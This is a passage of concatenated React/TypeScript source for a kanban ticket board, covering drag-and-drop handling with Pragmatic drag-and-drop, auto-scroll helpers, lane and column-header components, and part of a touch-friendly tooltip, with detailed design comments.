(!lifted) return\n    boardRef.current?.querySelector(`[${DROP_LINE_ATTRIBUTE}]`)?.scrollIntoView({ block: 'nearest', inline: 'nearest' })\n  }, [lifted])\n\n  /** The lifted card feeds the same preview a pointer drag does, so the room\n   *  opening and the faded copy need to know nothing about keyboards. */\n  const keyboardAim = useMemo<DropAim | null>(() => {\n    if (!lifted) return null\n    const ticket = laneOf(view, lifted.ticketId)?.tickets.find(t => t.id === lifted.ticketId)\n    if (!ticket) return null\n    const anchor = aimToChange(view, lifted.ticketId, lifted.aim)\n      ? aimAnchor(view, lifted.ticketId, lifted.aim)\n      : { ticketId: null, edge: null }\n    return { columnId: lifted.aim.columnId, ...anchor, ticket }\n  }, [lifted, view])\n\n  // Deliberately reads the RAW `columns` — the question is whether the host has\n  // caught up, and `view` already has the answer painted into it.\n  useEffect(() => {\n    if (!pendingMove) return\n    // Handing back once the move has landed matters: a host that rolls a failed\n    // move back puts the card in its old slot, and a `pendingMove` still sitting\n    // here would keep showing the move as though it had worked.\n    if (hasMoveSettled(columns, pendingMove)) {\n      setPendingMove(null)\n      return\n    }\n    const timer = setTimeout(() => setPendingMove(null), PENDING_MOVE_TIMEOUT_MS)\n    return () => clearTimeout(timer)\n  }, [columns, pendingMove])\n\n  useEffect(() => {\n    const scroller = scrollerRef.current\n\n    /** What the innermost drop target is currently saying, in the one shape the\n     *  cards need. A card and a lane answer in the same terms, so this does not\n     *  care which one replied — and nothing outside a lane replies at all. */\n    const readAim = (source: { data: Record<string | symbol, unknown> }, target?: Record<string | symbol, unknown>) => {\n      const ticket = source.data.ticket as BoardTicket | undefined\n      if (!target || !ticket) return null\n      const ticketId = String(source.data.ticketId)\n      const slot = aimFromTarget(columnsRef.current, ticketId, target)\n      if (!slot) return null\n      // No line where the card already is. A drop there changes nothing, and\n      // marking a place that is not a move is noise around the card you are\n      // holding — the one thing every board gets right by NOT drawing it.\n      const anchor = aimToChange(columnsRef.current, ticketId, slot)\n        ? aimAnchor(columnsRef.current, ticketId, slot)\n        : { ticketId: null, edge: null }\n      return { columnId: slot.columnId, ...anchor, ticket }\n    }\n\n    const aimAt = (\n      source: { data: Record<string | symbol, unknown> },\n      targets: { data: Record<string | symbol, unknown> }[],\n    ) => {\n      const next = readAim(source, targets[0]?.data)\n      // A pointer moving inside one card re-resolves to the same answer every\n      // frame; keeping the previous object stops that re-rendering the board.\n      setAim(prev => (isSameAim(prev, next) ? prev : next))\n    }\n\n    return combine(\n      // Dragging towards the edge of the board scrolls the lanes sideways —\n      // and keeps scrolling once the pointer is past that edge.\n      scroller ? autoScrollBothWays(scroller) : () => {},\n      // ...and towards the edge of the SCREEN scrolls whatever the page is\n      // actually scrolled by, which is the layout's `<main>`, not the document.\n      // Auto-scroll is registered on those; a DROP is not. Nothing outside the\n      // lanes is a drop target: a card carried over the filters, the header or\n      // the sidebar is aimed at nothing, draws nothing, and cancels when\n      // released. Resolving a lane from a pointer that has left the board — by\n      // matching it horizontally to the column above or below it — was tried and\n      // is not what a board does; the answer has to be somewhere the user is\n      // actually pointing.\n      monitorForElements({\n        canMonitor: ({ source }) => source.data.type === 'ticket',\n\n        onDragStart: ({ source, location }) => {\n          const ticket = source.data.ticket as BoardColumnDef['tickets'][number] | undefined\n          if (!ticket) return\n          const rect = source.element.getBoundingClientRect()\n          const { clientX, clientY } = location.current.input\n          pointRef.current = { x: clientX, y: clientY }\n          // Nothing outside the lanes is a drop target, and a native drag with\n          // no target under it falls back to the browser's own drop effect —\n          // which is `copy`, i.e. the green plus cursor, over the filters, the\n          // header and the sidebar. This is Pragmatic's own answer: it holds the\n          // effect at `move` everywhere, so the cursor stays a plain drag cursor\n          // wherever the card is carried. It changes nothing about WHERE the\n          // card can land — the board still resolves that from its own targets,\n          // and releasing outside them still cancels.\n          preventUnhandled.start()\n          // A previous card may still be gliding into place; this drag owns the\n          // preview from here, so that one arrives instantly instead.\n          setLanding(null)\n          dragGeometry.current = {\n            ticket,\n            columnColor: columnsRef.current.find(c => c.id === source.data.columnId)?.color,\n            width: rect.width,\n            grabX: clientX - rect.left,\n            grabY: clientY - rect.top,\n          }\n        },\n\n        onDropTargetChange: ({ source, location }) => aimAt(source, location.current.dropTargets),\n\n        onDrag: ({ source, location }) => {\n          // The edge can flip without the set of targets changing, so the aim is\n          // re-read here too — `onDrag` is throttled to an animation frame.\n          aimAt(source, location.current.dropTargets)\n          const { clientX, clientY } = location.current.input\n          pointRef.current = { x: clientX, y: clientY }\n        },\n\n        onDrop: ({ source, location }) => {\n          preventUnhandled.stop()\n          setAim(null)\n          // Innermost first: a card if the pointer was over one, otherwise the\n          // lane it was dropped into. Empty means dropped outside the board.\n          const change = resolveBoardDrop(columnsRef.current, {\n            source: source.data,\n            target: location.current.dropTargets[0]?.data,\n          })\n          // Released where nothing would change, or outside the board entirely.\n          // The browser takes its drag image away by itself and the card un-fades\n          // on its own `onDrop`, in this same event, so there is nothing to undo.\n          if (!change) return\n\n          // The move goes on screen NOW, from here, and the host's answer\n          // replaces an identical picture whenever it arrives.\n          setPendingMove({\n            ticketId: change.ticketId,\n            fromColumnId: change.fromColumnId,\n            toColumnId: change.toColumnId,\n            afterTicketId: change.afterTicketId,\n          })\n          // ...and a copy of the card takes over from the drag image for one\n          // short glide into the slot that move just opened. Both land in the\n          // same commit, so the slot is already there to be measured — see the\n          // effect below.\n          const geometry = dragGeometry.current\n          if (geometry) {\n            setLandingPreview({ ...geometry, startX: pointRef.current.x, startY: pointRef.current.y })\n            setLanding(change.ticketId)\n          }\n          onChangeRef.current(change)\n        },\n      }),\n    )\n  }, [])\n\n  /**\n   * The dropped card's glide from where it was released into its slot.\n   *\n   * Runs in the commit that carries the move itself, so the slot already exists\n   * and can be measured; the card in it is hidden (see `LandingCardContext`) and\n   * this copy is what the eye follows the rest of the way. Without it the\n   * browser's drag image simply vanishes at the pointer and the card is suddenly\n   * elsewhere — the discontinuity the whole drop sequence exists to remove.\n   *\n   * A plain FLIP, written out rather than split between the render and here: the\n   * copy is placed where the drag image was, that position is forced to resolve,\n   * and only then is it given a destination. Skipping the forced resolve means\n   * the browser only ever sees the final value and animates from nothing — an\n   * element's very first style resolution never starts a transition.\n   */\n  useIsomorphicLayoutEffect(() => {\n    if (!landing) return\n\n    const finish = () => {\n      landingTimer.current = null\n      setLanding(null)\n      setLandingPreview(null)\n    }\n\n    const preview = previewRef.current\n    const card = boardRef.current && cardById(boardRef.current, landing)\n    if (!preview || !landingPreview || !card) {\n      finish()\n      return\n    }\n\n    const to = card.getBoundingClientRect()\n    // The slot has to be somewhere the eye can actually follow the card to. A\n    // lane clips its own overflow, so a slot hanging over its edge would take a\n    // card that is whole one frame and cut in half the next; the card simply\n    // appears in place instead, which is never wrong — only less pretty.\n    const lane = nearestScrollableAncestor(card)?.getBoundingClientRect()\n    if (lane && (to.top < lane.top || to.bottom > lane.bottom)) {\n      finish()\n      return\n    }\n\n    const { startX, startY } = landingPreview\n    preview.style.transition = 'none'\n    preview.style.opacity = String(DRAG_PREVIEW_OPACITY)\n    preview.style.transform = `translate(${startX}px, ${startY}px)`\n    const from = preview.getBoundingClientRect()\n    void preview.offsetHeight\n\n    // Settles solid as it lands, so handing over to the real card underneath is\n    // not also a jump in brightness.\n    preview.style.transition = `transform ${DROP_MS}ms ${DROP_EASING}, opacity ${DROP_MS}ms ${DROP_EASING}`\n    preview.style.opacity = '1'\n    preview.style.transform = `translate(${startX + to.left - from.left}px, ${startY + to.top - from.top}px)`\n    landingTimer.current = setTimeout(finish, DROP_MS)\n    return () => {\n      if (landingTimer.current) clearTimeout(landingTimer.current)\n      landingTimer.current = null\n    }\n  }, [landing, landingPreview])\n\n  // The released card, on its way into its slot. Alive for one short animation\n  // and no longer: while the card is actually being carried there is nothing\n  // here at all — that is the browser's drag image (see `ticket-card.tsx`).\n  //\n  // A portal, because a lane clips its own overflow and this travels across the\n  // whole board. Position, opacity and transition are all written by the effect\n  // above and deliberately not by React: a re-render for an unrelated reason\n  // must not put the card back at the pointer half way down.\n  const preview =\n    landingPreview &&\n    createPortal(\n      <div\n        ref={previewRef}\n        aria-hidden\n        // `[&_*]:!pointer-events-none` and not just the root: the card body\n        // re-enables pointer events on its own parts (the assignee slot, the\n        // timestamp tooltip), and this sits over the board while it settles.\n        className=\"pointer-events-none fixed left-0 top-0 [&_*]:!pointer-events-none\"\n        style={{\n          zIndex: DRAG_PREVIEW_Z,\n          width: landingPreview.width,\n          // The grip offset lives here, so the animated property is a plain\n          // translate in pointer coordinates and nothing else.\n          margin: `${-landingPreview.grabY}px 0 0 ${-landingPreview.grabX}px`,\n        }}\n      >\n        {/* Rendered with the host's assignee slot, like the drag image it takes\n            over from: without it the card visibly changes at the handover. It is\n            a live control, but an inert copy of one — nothing in this subtree\n            can be pointed at (see above) — and it shares its queries with the\n            card it was copied from. */}\n        <TicketCardView\n          ticket={landingPreview.ticket}\n          columnColor={landingPreview.columnColor}\n          renderAssignSlot={renderAssignSlot}\n          // Still held, to match the drag image at the moment it hands over.\n          className=\"shadow-card-hover\"\n        />\n      </div>,\n      document.body,\n    )\n\n  return (\n    <LandingCardContext.Provider value={landing}>\n      <DropAimContext.Provider value={aim ?? keyboardAim}>\n        <BoardLiftContext.Provider value={lift}>\n          {preview}\n          <div ref={boardRef} className={cn('flex flex-col h-full', className)}>\n            <div\n              ref={setScroller}\n              onScroll={onScroll}\n              className=\"flex flex-1 min-h-0 overflow-x-auto [scrollbar-width:none] [&::-webkit-scrollbar]:hidden\"\n            >\n              {view.map((column, i) => {\n                const prev = view[i - 1]\n                const next = view[i + 1]\n                const joinLeft = !!(column.system && prev?.system)\n                const joinRight = !!(column.system && next?.system)\n                const showGap = i > 0 && !joinLeft\n                return (\n                  <Fragment key={column.id}>\n                    {showGap && <div aria-hidden className=\"w-[var(--spacing-system-mf)] shrink-0\" />}\n                    <BoardColumn\n                      column={column}\n                      collapsed={!!collapsed[column.id]}\n                      onToggleCollapse={toggle}\n                      onAddTicket={onAddTicket}\n                      onArchive={onArchiveColumn}\n                      getTicketHref={getTicketHref}\n                      renderAssignSlot={renderAssignSlot}\n                      onApprove={onApprove}\n                      onReject={onReject}\n                      onLoadMore={onLoadMore}\n                      loadMoreRootMargin={loadMoreRootMargin}\n                      joinLeft={joinLeft}\n                      joinRight={joinRight}\n                    />\n                  </Fragment>\n                )\n              })}\n            </div>\n\n            <p aria-live=\"polite\" className=\"sr-only\">\n              {announcement}\n            </p>\n\n            {thumbRatio > 0 && (\n              <div\n                ref={trackRef}\n                onClick={onTrackClick}\n                onWheel={onTrackWheel}\n                className=\"relative h-2 mt-[var(--spacing-system-mf)] rounded-full bg-ods-border cursor-pointer shrink-0\"\n              >\n                <div\n                  ref={thumbRef}\n                  data-scrollbar-thumb\n                  className=\"absolute top-0 h-full rounded-full bg-ods-text-secondary transition-colors\"\n                  style={{ width: `${thumbRatio * 100}%`, cursor: 'grab' }}\n                  onPointerDown={onThumbPointerDown}\n                  onPointerMove={onThumbPointerMove}\n                  onPointerUp={onThumbPointerUp}\n                />\n              </div>\n            )}\n          </div>\n        </BoardLiftContext.Provider>\n      </DropAimContext.Provider>\n    </LandingCardContext.Provider>\n  )\n}\n","import { combine } from '@atlaskit/pragmatic-drag-and-drop/combine'\nimport {\n  autoScrollForElements,\n  autoScrollWindowForElements,\n} from '@atlaskit/pragmatic-drag-and-drop-auto-scroll/element'\nimport { unsafeOverflowAutoScrollForElements } from '@atlaskit/pragmatic-drag-and-drop-auto-scroll/unsafe-overflow/element'\nimport { scrollableAncestorsOf } from './scroll-parent'\n\n/**\n * How far past a scroller's edge a drag still counts as \"scroll this\".\n *\n * Big on purpose: past the edge there is nothing else to hit, so the only\n * question is whether the intent is obvious, and dragging beyond a container is\n * about as obvious as intent gets.\n */\nconst OVERFLOW_REACH = 5000\n\nconst overflow = () => ({\n  forTopEdge: { top: OVERFLOW_REACH, left: OVERFLOW_REACH, right: OVERFLOW_REACH },\n  forBottomEdge: { bottom: OVERFLOW_REACH, left: OVERFLOW_REACH, right: OVERFLOW_REACH },\n  forLeftEdge: { left: OVERFLOW_REACH, top: OVERFLOW_REACH, bottom: OVERFLOW_REACH },\n  forRightEdge: { right: OVERFLOW_REACH, top: OVERFLOW_REACH, bottom: OVERFLOW_REACH },\n})\n\n/** Straight up and straight down only — no sideways reach at all. */\nconst verticalOverflow = () => ({\n  forTopEdge: { top: OVERFLOW_REACH },\n  forBottomEdge: { bottom: OVERFLOW_REACH },\n})\n\n/**\n * Registers drag auto-scroll for one scroller, both **inside** its edges and\n * **past** them.\n *\n * Pragmatic's over-element scrolling only engages in a band just inside the\n * edge, so a drag that has already left the container stops scrolling it — you\n * have to hunt for the strip where it works. dnd-kit kept scrolling however far\n * out you went, and `unsafeOverflowAutoScrollForElements` is Pragmatic's own\n * answer for that; \"unsafe\" here only means it can reach a container the pointer\n * is not over, which is exactly what is wanted.\n */\nexport function autoScrollBothWays(element: HTMLElement): () => void {\n  return combine(\n    autoScrollForElements({ element }),\n    unsafeOverflowAutoScrollForElements({ element, getOverflow: overflow }),\n  )\n}\n\n/**\n * Auto-scroll for one of several scrollers standing side by side — a board lane.\n *\n * Same as {@link autoScrollBothWays} except that its reach past the edges is\n * vertical only, and that is the whole point. Lanes sit shoulder to shoulder, so\n * a reach that also spreads sideways puts a pointer below the board inside\n * EVERY lane's overflow region at once and scrolls all of them together. Keeping\n * the region to the lane's own width means the pointer is below exactly one\n * lane, and only that lane moves — which is what a board is expected to do.\n */\nexport function autoScrollColumn(element: HTMLElement): () => void {\n  return combine(\n    autoScrollForElements({ element }),\n    unsafeOverflowAutoScrollForElements({ element, getOverflow: verticalOverflow }),\n  )\n}\n\n/**\n * Registers auto-scroll on every scrollable ancestor of `element`, and on the\n * window.\n *\n * dnd-kit walked the ancestor chain for you; Pragmatic makes each scroller opt\n * in by name, which is why dragging towards the edge of the screen stopped\n * scrolling anything after the migration. Registering the window alone would\n * have fixed nothing either: the app's real scroller is the layout's `<main>`,\n * not the document — so the chain has to be walked.\n *\n * Registration is passive; a scroller only moves while a drag is actually near\n * its edge, so it is safe to call this once on mount.\n *\n * Register this ONCE per page region, not once per thing that can be dragged:\n * Pragmatic keeps one entry per registration and each entry scrolls on its own,\n * so registering the same `<main>` from five lanes scrolls it five times as\n * fast.\n */\nexport function autoScrollAncestors(element: HTMLElement): () => void {\n  const cleanups = scrollableAncestorsOf(element).map(autoScrollBothWays)\n  // Cheap and harmless when the document itself does not scroll, and the only\n  // thing that works when it does.\n  cleanups.push(autoScrollWindowForElements())\n  return combine(...cleanups)\n}\n","/** Anything the browser can scroll. */\nconst SCROLLABLE = /(auto|scroll|overlay)/\n\n/** Every scrollable ancestor of `element`, innermost first. */\nexport function scrollableAncestorsOf(element: HTMLElement): HTMLElement[] {\n  const found: HTMLElement[] = []\n  for (let node = element.parentElement; node && node !== document.body; node = node.parentElement) {\n    const style = getComputedStyle(node)\n    if (SCROLLABLE.test(style.overflowY) || SCROLLABLE.test(style.overflowX)) found.push(node)\n  }\n  return found\n}\n\n/**\n * The nearest scrollable ancestor, or `null`.\n *\n * Stands in for \"the working area this thing lives in\": in an app whose layout\n * scrolls a `<main>` rather than the document, that element is exactly the\n * region a user considers to be the page.\n */\nexport function nearestScrollableAncestor(element: HTMLElement): HTMLElement | null {\n  return scrollableAncestorsOf(element)[0] ?? null\n}\n","'use client'\n\nimport { dropTargetForElements } from '@atlaskit/pragmatic-drag-and-drop/element/adapter'\nimport { memo, useCallback, useEffect, useRef, useState, type ReactNode } from 'react'\nimport { TagIcon } from '../../icons-v2-generated/shopping/tag-icon'\nimport { cn } from '../../../utils/cn'\nimport { attachClosestEdge } from '@atlaskit/pragmatic-drag-and-drop-hitbox/closest-edge'\nimport { autoScrollColumn } from '../../../utils/auto-scroll-ancestors'\nimport { BoardColumnHeader } from './board-column-header'\nimport { useDropAim } from './drop-aim'\nimport { DROP_LINE_ATTRIBUTE, nearestCardIn } from './lane-geometry'\nimport { tintOnDark } from './color-utils'\nimport { TicketCard } from './ticket-card'\nimport { TicketCardSkeleton } from './ticket-card-skeleton'\nimport { TICKET_ID_ATTRIBUTE, useLaneScrollAnchor } from './use-lane-scroll-anchor'\nimport type { BoardColumnDef, BoardTicket } from './types'\n\nexport interface BoardColumnProps {\n  column: BoardColumnDef\n  collapsed?: boolean\n  /** Takes the id so the board can pass one stable handler to every lane. */\n  onToggleCollapse: (columnId: string) => void\n  onAddTicket?: (columnId: string) => void\n  onArchive?: (columnId: string) => void\n  getTicketHref?: (ticketId: string) => string\n  renderAssignSlot?: (ticket: BoardTicket) => ReactNode\n  onApprove?: (ticketId: string, requestId?: string) => void | Promise<void>\n  onReject?: (ticketId: string, requestId?: string) => void | Promise<void>\n  onLoadMore?: (columnId: string) => void\n  loadMoreRootMargin?: string\n  joinLeft?: boolean\n  joinRight?: boolean\n}\n\n/** Memoized: `Board` rebuilds only the two columns a drag touches, so the\n *  untouched ones keep their object identity and can skip the render entirely.\n *  Without this, every pointer move that shifts a card re-renders all lanes. */\nexport const BoardColumn = memo(function BoardColumn({\n  column,\n  collapsed = false,\n  onToggleCollapse,\n  onAddTicket,\n  onArchive,\n  getTicketHref,\n  renderAssignSlot,\n  onApprove,\n  onReject,\n  onLoadMore,\n  loadMoreRootMargin = '200px 0px',\n  joinLeft = false,\n  joinRight = false,\n}: BoardColumnProps) {\n  // The drop zone is the WHOLE lane, header included — not just the list. A\n  // target that stops at the list leaves dead strips (the header, the padding)\n  // where the pointer is over a column yet hits nothing. Collapsed lanes stay\n  // out: they render no list to drop into.\n  //\n  // A card sitting inside this lane is a drop target too, and Pragmatic reports\n  // the innermost one first — so the lane only ever answers for the gaps, and\n  // \"which card\" never has to be guessed from rect overlap.\n  const laneRef = useRef<HTMLDivElement>(null)\n  const [isOver, setIsOver] = useState(false)\n\n  useEffect(() => {\n    const element = laneRef.current\n    if (!element || collapsed || column.dropDisabled) return\n\n    return dropTargetForElements({\n      element,\n      canDrop: ({ source }) => {\n        if (source.data.type !== 'ticket') return false\n        const from = source.data.columnId\n        if (from === column.id) return true\n        return !column.allowedFromColumns || column.allowedFromColumns.includes(String(from))\n      },\n      // A drop that lands between cards — most of the lane, once a hovered card\n      // has opened the room the preview is drawn in — answers with the nearest\n      // card and the edge of it the pointer is on, exactly as that card would\n      // have. Reporting a bare lane instead sent the ticket to the BOTTOM of the\n      // column, which is what made small moves look like they had not worked and\n      // large ones like the only thing that did.\n      getData: ({ input, element: lane, source }) => {\n        const nearest = nearestCardIn(lane, input.clientY, String(source.data.ticketId))\n        const ticketId = nearest?.dataset.ticketId\n        // An empty lane, or one whose only card is the one being dragged: the\n        // drop appends, which is the only place it could go.\n        if (!nearest || !ticketId) return { type: 'column', columnId: column.id }\n        return attachClosestEdge(\n          { type: 'ticket', ticketId, columnId: column.id },\n          { input, element: nearest, allowedEdges: ['top', 'bottom'] },\n        )\n      },\n      onDragEnter: () => setIsOver(true),\n      onDragLeave: () => setIsOver(false),\n      onDrop: () => setIsOver(false),\n    })\n  }, [column.id, column.dropDisabled, column.allowedFromColumns, collapsed])\n\n  // The header's own prop stays zero-arg; the id is bound here, where it is\n  // already known, rather than by the board building one closure per lane.\n  const handleToggleCollapse = useCallback(() => onToggleCollapse(column.id), [onToggleCollapse, column.id])\n\n  return (\n    <div\n      ref={laneRef}\n      className={cn(\n        'flex h-full shrink-0 flex-col gap-[var(--spacing-system-sf)] overflow-hidden rounded-md border border-ods-border p-[var(--spacing-system-sf)]',\n        'transition-[width] duration-300 ease-out',\n        collapsed ? 'w-14' : 'w-[400px]',\n        column.system && 'bg-ods-card',\n        joinLeft && 'rounded-l-none border-l-0',\n        joinRight && 'rounded-r-none',\n        isOver && 'outline outline-2 -outline-offset-2 outline-ods-focus',\n      )}\n      style={column.system ? undefined : { backgroundColor: tintOnDark(column.color) }}\n    >\n      <BoardColumnHeader\n        column={column}\n        collapsed={collapsed}\n        onToggleCollapse={handleToggleCollapse}\n        onAddTicket={!collapsed && onAddTicket ? () => onAddTicket(column.id) : undefined}\n        onArchive={!collapsed && column.archivable && onArchive ? () => onArchive(column.id) : undefined}\n      />\n      {!collapsed && (\n        <>\n          <div aria-hidden className=\"-mx-[var(--spacing-system-sf)] h-px shrink-0 bg-ods-border\" />\n          <ColumnBody\n            column={column}\n            getTicketHref={getTicketHref}\n            renderAssignSlot={renderAssignSlot}\n            onApprove={onApprove}\n            onReject={onReject}\n            onLoadMore={onLoadMore}\n            loadMoreRootMargin={loadMoreRootMargin}\n          />\n        </>\n      )}\n    </div>\n  )\n})\n\ninterface ColumnBodyProps {\n  column: BoardColumnDef\n  getTicketHref?: (ticketId: string) => string\n  renderAssignSlot?: (ticket: BoardTicket) => ReactNode\n  onApprove?: (ticketId: string, requestId?: string) => void | Promise<void>\n  onReject?: (ticketId: string, requestId?: string) => void | Promise<void>\n  onLoadMore?: (columnId: string) => void\n  loadMoreRootMargin: string\n}\n\nfunction ColumnBody({\n  column,\n  getTicketHref,\n  renderAssignSlot,\n  onApprove,\n  onReject,\n  onLoadMore,\n  loadMoreRootMargin,\n}: ColumnBodyProps) {\n  const scrollRef = useRef<HTMLDivElement | null>(null)\n  const sentinelRef = useRef<HTMLDivElement | null>(null)\n\n  useLaneScrollAnchor(scrollRef, column.tickets)\n\n  // Dragging near the top or bottom of a long lane scrolls THIS lane, and only\n  // this one — the reach past the lane's edges is vertical, so a pointer below\n  // the board is below exactly one column. The page's own scrollers are\n  // registered once by the board, not once per lane: registering them here gave\n  // `<main>` one auto-scroller per column, all pulling at the same time.\n  useEffect(() => {\n    const element = scrollRef.current\n    if (!element) return\n    return autoScrollColumn(element)\n  }, [])\n\n  const loadMoreRef = useRef(onLoadMore)\n  loadMoreRef.current = onLoadMore\n  const columnIdRef = useRef(column.id)\n  columnIdRef.current = column.id\n\n  useEffect(() => {\n    if (!column.hasMore || column.isLoadingMore) return\n    const sentinel = sentinelRef.current\n    const root = scrollRef.current\n    if (!sentinel || !root || !loadMoreRef.current) return\n\n    const observer = new IntersectionObserver(\n      entries => {\n        if (entries.some(e => e.isIntersecting)) {\n          loadMoreRef.current?.(columnIdRef.current)\n        }\n      },\n      { root, rootMargin: loadMoreRootMargin },\n    )\n    observer.observe(sentinel)\n    return () => observer.disconnect()\n  }, [column.hasMore, column.isLoadingMore, loadMoreRootMargin])\n\n  return (\n    // `overflow-anchor:none` hands scroll anchoring to `useLaneScrollAnchor`\n    // wholesale. The browser's own anchoring is unusable here — it silently\n    // skips transformed elements, so it works between drags and does nothing\n    // during one — and leaving both on double-corrects every insertion.\n    <div\n      ref={scrollRef}\n      // `py-[5px]`: the insertion line sits in the middle of the gap between two\n      // cards, and the first and last card have no gap on their outer side. This\n      // is the sliver it lives in there — without it the line is clipped away by\n      // this element's own overflow exactly when a card is aimed at either end.\n      className=\"flex min-h-0 flex-1 flex-col gap-[var(--spacing-system-xs)] overflow-y-auto py-[5px] [overflow-anchor:none]\"\n    >\n      {column.isLoading ? (\n        <SkeletonStack />\n      ) : column.tickets.length === 0 ? (\n        <EmptyState columnId={column.id} />\n      ) : (\n        column.tickets.map(t => (\n          <TicketCard\n            key={t.id}\n            ticket={t}\n            columnId={column.id}\n            columnColor={column.color}\n            href={getTicketHref?.(t.id)}\n            renderAssignSlot={renderAssignSlot}\n            onApprove={onApprove}\n            onReject={onReject}\n            dragDisabled={column.dragDisabled}\n            dropDisabled={column.dropDisabled}\n            allowedFromColumns={column.allowedFromColumns}\n          />\n        ))\n      )}\n      {column.isLoadingMore && !column.isLoading && <TicketCardSkeleton />}\n      {column.hasMore && <div ref={sentinelRef} aria-hidden className=\"h-1 shrink-0\" />}\n    </div>\n  )\n}\n\nfunction SkeletonStack({ count = 4 }: { count?: number }) {\n  // Position IS the identity here: the rows are interchangeable placeholders in\n  // a fixed-length list, so the index is the correct key. Random keys remounted\n  // every row whenever this re-rendered with a different `count`.\n  return (\n    <>\n      {Array.from({ length: count }, (_, i) => (\n        <TicketCardSkeleton key={`skeleton-${i}`} />\n      ))}\n    </>\n  )\n}\n\n/** Also carries the insertion line when a drop is aimed here, since the lane has\n *  no card to hang it off. */\nfunction EmptyState({ columnId }: { columnId: string }) {\n  const aim = useDropAim()\n  if (aim && aim.columnId === columnId) {\n    return <div aria-hidden {...{ [DROP_LINE_ATTRIBUTE]: '' }} className=\"h-0.5 shrink-0 rounded-full bg-ods-accent\" />\n  }\n  return (\n    <div className=\"flex flex-1 flex-col items-center justify-center gap-[var(--spacing-system-lf)] p-[var(--spacing-system-lf)] text-center text-ods-text-secondary\">\n      <TagIcon className=\"h-6 w-6 shrink-0\" />\n      <div className=\"flex w-full flex-col\">\n        <p className=\"text-h4\">No tickets here</p>\n        <p className=\"text-h6\">Drag a ticket here or change its status to move it to this column</p>\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport { Button } from '../../ui/button/button'\nimport { TicketStatusTag, resolveTicketStatus } from '../../ui/ticket-status-tag'\nimport { TouchFriendlyTooltip } from '../../ui/touch-friendly-tooltip'\nimport { Arrow02LeftIcon, Arrow02RightIcon, BoxArchiveIcon, InfoCircleIcon, PlusIcon } from '../../icons-v2-generated'\nimport type { BoardColumnDef } from './types'\n\nexport interface BoardColumnHeaderProps {\n  column: BoardColumnDef\n  collapsed?: boolean\n  onToggleCollapse: () => void\n  onAddTicket?: () => void\n  onArchive?: () => void\n}\n\nexport function BoardColumnHeader({\n  column,\n  collapsed = false,\n  onToggleCollapse,\n  onAddTicket,\n  onArchive,\n}: BoardColumnHeaderProps) {\n  const count = column.total ?? column.tickets.length\n  const tagStatus = column.statusKey ?? column.id\n  // Known statuses (ACTIVE, RESOLVED, …) render with their canonical Tag\n  // variant/icon; only unrecognized ids (custom-status UUIDs) fall back to `color`.\n  const useStatusVariant = resolveTicketStatus(tagStatus) !== null\n\n  if (collapsed) {\n    return (\n      <div className=\"flex h-full flex-col items-center gap-[var(--spacing-system-xsf)]\">\n        <Button\n          variant=\"transparent\"\n          size=\"icon\"\n          className=\"h-8 w-8 md:h-8 md:w-8 p-0\"\n          onClick={onToggleCollapse}\n          aria-label=\"Expand column\"\n        >\n          <Arrow02RightIcon className=\"h-6 w-6 text-ods-text-secondary\" />\n        </Button>\n        <TicketStatusTag\n          status={tagStatus}\n          label={column.label}\n          color={useStatusVariant ? undefined : column.color}\n          className=\"h-auto [writing-mode:vertical-rl]\"\n        />\n        <span className=\"text-h5\" style={{ color: column.color }}>\n          {count}\n        </span>\n      </div>\n    )\n  }\n\n  return (\n    <div className=\"flex items-center gap-[var(--spacing-system-xsf)]\">\n      <div className=\"flex min-w-0 flex-1 items-center gap-[var(--spacing-system-xsf)]\">\n        <TicketStatusTag status={tagStatus} label={column.label} color={useStatusVariant ? undefined : column.color} />\n        <span className=\"text-h5\" style={useStatusVariant ? undefined : { color: column.color }}>\n          {count}\n        </span>\n      </div>\n      <div className=\"flex shrink-0 items-center gap-[var(--spacing-system-xxs)]\">\n        {column.tooltip && (\n          <TouchFriendlyTooltip content={column.tooltip} side=\"bottom\">\n            <Button\n              variant=\"transparent\"\n              size=\"icon\"\n              className=\"h-8 w-8 md:h-8 md:w-8 p-0\"\n              aria-label={column.tooltip}\n            >\n              <InfoCircleIcon className=\"h-6 w-6 text-ods-text-secondary\" />\n            </Button>\n          </TouchFriendlyTooltip>\n        )}\n        <Button\n          variant=\"transparent\"\n          size=\"icon\"\n          className=\"h-8 w-8 md:h-8 md:w-8 p-0\"\n          onClick={onToggleCollapse}\n          aria-label=\"Collapse column\"\n        >\n          <Arrow02LeftIcon className=\"h-6 w-6 text-ods-text-secondary\" />\n        </Button>\n        {onArchive && (\n          <Button\n            variant=\"transparent\"\n            size=\"icon\"\n            className=\"h-8 w-8 md:h-8 md:w-8 p-0\"\n            onClick={onArchive}\n            aria-label=\"Archive resolved tickets\"\n          >\n            <BoxArchiveIcon className=\"h-6 w-6 text-ods-text-secondary\" />\n          </Button>\n        )}\n        {onAddTicket && (\n          <Button\n            variant=\"transparent\"\n            size=\"icon\"\n            className=\"h-8 w-8 md:h-8 md:w-8 p-0\"\n            onClick={onAddTicket}\n            aria-label=\"Add ticket\"\n          >\n            <PlusIcon className=\"h-6 w-6 text-ods-text-secondary\" />\n          </Button>\n        )}\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { Tooltip, TooltipContent, TooltipProvider, TooltipTrigger } from './tooltip'\n\n/**\n * The one tooltip allowed open at a time, across every instance — tapping a\n * second trigger dismisses the first, since touch has no \"mouse left\" to close\n * it. Module-level on purpose: instances live in unrelated subtrees.\n */\nlet dismissOpenTooltip: (() => void) | null = null\n\nexport interface TouchFriendlyTooltipProps {\n  /** Tooltip text; when absent the children render bare, with no trigger wiring. */\n  content?: string\n  side?: 'top' | 'right' | 'bottom' | 'left'\n  children: React.ReactElement\n}\n\n/**\n * Hover tooltip that also works on touch, where Radix's hover/focus model never\n * opens: a tap toggles it instead. Wraps its own `TooltipProvider`, so it can be\n * dropped anywhere without a provider up the tree.\n */\nexport function TouchFriendlyTooltip({ content, side = 'left', children }: TouchFriendlyTooltipProps) {\n  const [open, setOpen] = React.useState(false)\n  const isTouchRef = React.useRef(false)\n  const close = React.useCallback(() => setOpen(false), [])\n\n  if (!content) return children\n\n  const toggleFromTouch = () => {\n    setOpen(prev => {\n      const next = !prev\n      if (next) {\n        if (dismissOpenTooltip && dismissOpenTooltip !== close) dismissOpenTooltip()\n        dismissOpenTooltip = close\n      } else if (dismissOpenTooltip === close) {\n        dismissOpenTooltip = null\n      }\n      return next\n    })\n  }\n\n  return (\n    <TooltipProvider delayDuration={150}>\n      <Tooltip open={open} onOpenChange={setOpen}>\n        